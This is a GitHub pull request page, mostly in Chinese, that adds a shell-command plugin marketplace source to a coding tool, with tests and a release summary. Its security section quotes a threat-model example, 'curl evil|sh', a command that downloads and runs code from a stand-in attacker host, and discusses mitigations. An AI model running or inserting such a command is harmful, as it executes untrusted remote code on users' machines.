Repository navigation
feat(plugins): item 24 marketplace command 源 (CC 2.1.229, §140/§216) - #116
Merged
Merged
Conversation
MarketplaceSourceSchema 加 command 变体 (shell 命令 stdout = 插件目录, 每会话重新解析, 无需重启)。新 commandSource.ts: resolveCommandSource 跑命令 → 验目录 → 返 directory 等效 source, fail-visible (超时/非零退出/ 空输出/非目录全 throw)。安全同 git/npm/zip install 信任模型 (跑任意码), 靠 strictKnownMarketplaces marketplace-name allowlist policy gate 缓解 (command 源无 host/path, 不走 hostPattern/pathPattern)。 物化执行不接 addMarketplaceSource stub (cloud-only 移除桩, 同其他所有源 directory/file/url/github 等)。schema 真声明 + 独立可测真逻辑, 供未来 stub 补齐时接物化路径。 18 单测: schema parse (合法/空/缺字段/变体互斥) + resolveCommandSource 真跑 command (echo tmpdir 正常/换行 trim/非零退出/空输出/非目录/不存在/ cwd) + commandSourceToDirectorySource 转换。全测 262 pass 无回归。 Closes #115 Co-Authored-By: Claude Fable 5 <[email protected]>
dahai80
added a commit
that referenced
this pull request
Aug 22, 2026
Patch release bundling 17 commits since v0.4.23: - item 15(a) MLX OOM auto-recovery gc+retry (#129) - #7 one-click diagnostic fixAction framework (#131) - 维度5 background-default spawn FUSION_SUBAGENT_DEFAULT_BACKGROUND (#127) - #4 proactive MLX OOM detection via /v1/health (#125) - item 17 fullscreen pre-compact history + :598 synthetic decouple (#123) - item 25B workflow stagger fan-out (#122) - item 21 auto-mode local rule classifier test coverage (#120) - item 23 archive plugin source + SHA-256 lock (#118) - item 24 marketplace command source (#116) - item 6 transcript disk trimming + crash-safe checkpoint (#114) - item 5 normalizeMessages secondary normalize cache (#112) - item 19 screen-reader plaintext render (#110) - item 16 compact retry countdown + stall hint (#108) - item 25A workflow execution runtime docs (#106) - item 25A minimal workflow execution runtime (#105) - item 12 subagent auto-background threshold (#103) - item 20 vimInsertModeRemaps dual-key INSERT sequence (#101) Co-Authored-By: Claude Fable 5 <[email protected]>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
缺口
CC 2.1.229 (enhance-0819.md §140/§216) 新增插件 marketplace
command源 — 本地命令打印插件目录, 每会话重新解析, 无需重启。洞察 (§143): 插件安装从 "git/npm 装" 演进到 "zip+SHA-256 锁定 + command 源"。fusion-code
MarketplaceSourceSchema现有 source 变体:url/github/git/npm/file/directory/settings+ policy-onlyhostPattern/pathPattern。无command变体。改动
schemas.ts(+17 surgical, 保留原 2-space/no-semi/single-quote 格式) — MarketplaceSourceSchema 加command变体 (command: stringmin 1,cwd?: stringoptional)。discriminatedUnion 自然支持, 与 directory 变体互斥。commandSource.ts(~115 行, tab/semi/double-quote 匹配 pluginLoader 惯例) —resolveCommandSource(source): spawn command (execFileNoThrowWithCwd shell:true, 30s timeout), 取 stdout trim 为目录路径, resolve 绝对路径, 验存在且为目录, 返{directoryPath}。fail-visible: 超时/非零退出/空输出/非目录/不存在路径全 throw。commandSourceToDirectorySource转 directory 等效 source。isCommandSourcetype guard。commandSource.test.ts(193 行, 18 case) — schema parse (合法/带 cwd/空 command/缺字段/变体互斥) + isCommandSource (command/directory/url) + resolveCommandSource 真跑 command (echo tmpdir 正常/换行 trim/非零退出/空输出/非目录文件/不存在路径/cwd pwd) + commandSourceToDirectorySource (directory 对象 + schema 校验)。不改 (surgical)
parseMarketplaceInput.ts— command 源是 marketplace.json/settings 声明, 非用户plugin marketplace add <input>路径。addMarketplaceSourcestub — 不接 (cloud-only 移除桩, 同其他所有源 directory/file/url/github 等)。schema 真声明 + 独立可测真逻辑, 供未来 stub 补齐时接物化。isSourceAllowedByPolicy/isSourceInBlocklist) — command 源无 host/path, 不走 hostPattern/pathPattern, 靠 marketplace-name allowlist (现有 hasEnterprisePolicy + strictAllowlist 已覆盖, command 源 name 未列 → blocked, fail-closed 不变)。reconciler.normalizeSource— command 源无 path 字段不经相对路径解析, 透传。安全
command 源加 RCE 面 (恶意 marketplace
command: "curl evil|sh")。缓解: (1) 同 install-已-run-code 量级 — git clone/npm install/zip postinstall 亦跑任意码; (2) policy gate strictKnownMarketplaces 显式列 marketplace name allowlist 兜底; (3) 命令声明受信源 (marketplace.json/settings, 非用户随意输入); (4) fail-visible (超时/非零/异常目录 throw, 不静默降级)。验证
bun run typecheck— 0 errorsbun test src/__tests__/commandSource.test.ts— 18 passbun test src/__tests__/— 262 pass, 0 fail (无回归)bun run build:dev+bun run build:dev:full— passbiome check新文件 — clean关联
enhance-0819.md item 24, closes #115。
Co-Authored-By: Claude Fable 5 [email protected]